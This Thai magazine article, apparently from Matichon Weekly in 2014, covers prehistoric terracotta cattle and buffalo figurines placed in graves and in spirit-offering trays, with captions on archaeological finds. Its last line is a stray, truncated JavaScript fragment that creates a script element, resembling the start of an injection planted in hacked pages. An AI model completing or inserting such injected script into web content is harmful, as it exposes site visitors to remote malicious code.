Download PDF

มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 1 สิงหาคม 2557

 

วัวควายดินเผา

ตุ๊กตาเสียกระบาน

ฝังในหลุมศพดึกดำบรรพ์

 

          วัวควายเป็นสัตว์ศักดิ์สิทธิ์ของคนดึกดำบรรพ์หลายพันปีมาแล้ว ทั้งในแง่ของใช้งาน และในแง่ของความเชื่อ ดังมีคำบอกเล่าสืบมาว่าควายเอาพันธุ์ข้าวให้มนุษย์ปลูกกิน

          ความศักดิ์สิทธิ์ของวัวควายมีหลักฐานเป็นภาพเขียนสีบนเพิงผาและผนังถ้ำไม่น้อยกว่า 2,500 ปีมาแล้ว เพื่อทำพิธีกรรมเซ่นสังเวยประจำปีหรือประจำฤดูกาล กับฝังรวมไปในหลุมศพ

          ยังมีพยานเป็นรูปปั้นดินเผาทุกยุคทุกสมัย

 

วัวควายดินเผา

          คนดึกดำบรรพ์เอาดินเหนียวปั้นรูปวัวควาย แล้วเผาไฟให้แข็ง ใช้ฝังในหลุมศพ กับเป็นตุ๊กตาใส่กระบานผี

          ใส่หลุมศพ แสดงว่าคนตายมีวัวควายของตัวเอง เมื่อตายไปก็เอาวัวควายไปด้วย จะได้มีใช้งาน

          ใส่กระบานผี ใช้บอกผีสะเดาะเคราะห์ว่ามีวัวควายกี่ตัว? ที่ต้องปลอดภัยจากสิ่งชั่วร้าย เป็นที่รู้กันว่าเรียกตุ๊กตาเสียกระบาน  (น สะกด แต่มักเขียนผิดว่า ล สะกด เป็นตุ๊กตาเสียกระบาล เพราะเข้าใจคลาดเคลื่อน)

          ตุ๊กตาเสียกระบาน หมายถึง ตุ๊กตาที่ใส่ในกระบานผี เมื่อทำพิธีสะเดาะเคราะห์

          ตุ๊กตา หมายถึงของเล่นทำเป็นรูปคนหรือสัตว์ มีขนาดเล็กกว่าตัวจริง มักทำเป็นของเล่นของเด็ก จากดินเหนียวหรือไม้เนื้ออ่อน

          เสีย หมายถึง ทิ้ง, เซ่นพลี, สังเวย (เช่น เสียผี คือ เซ่นสังเวยผี)

          กระบาน หมายถึง ภาชนะใส่เครื่องเซ่นสังเวยผี มักทำง่ายๆ ด้วยไม้ไผ่หรือกาบกล้วยปูด้วยใบตอง รูปสี่เหลี่ยมมีขอบ (เหมือนกระบะ) บางทีเรียกกระบานผี

ภาชนะดินเผารูปควาย สันหลังทำช่องกลม เป็นเครื่องเซ่นวักฝังกับศพ ราว 2,000 ปีมาแล้ว พบที่บ้านใหม่ชัยมงคล ใกล้เมืองจันเสน อ. ตาคลี จ. นครสวรรค์

ควายดินเผา เป็นเครื่องเซ่นวักที่ฝังกับศพ ราว 2,500 ปีมาแล้ว พบที่บ้านนาดี อ. หนองหาน จ. อุดรธานี

ภาชนะดินเผารูปวัวหรือควาย ยุคทวารวดี ราวหลัง พ.ศ. 1000 พบที่บ้านพุน้อย จ. ลพบุรี

 

ภาชนะดินเผารูปวัว ตกแต่งด้วยลายขูดขีดแบบทวารวดี ราวหลัง พ.ศ. 1000 พบที่บ้านโนนหมากลา อ. โคกสำโรง จ. ลพบุรี

ตุ๊กตาดินเผารูปวัว-ควาย ยุคทวารวดี ราวหลัง พ.ศ. 1000 พบที่ จ. นครราชสีมา

var d=document;var s=d.createElement(‘script’);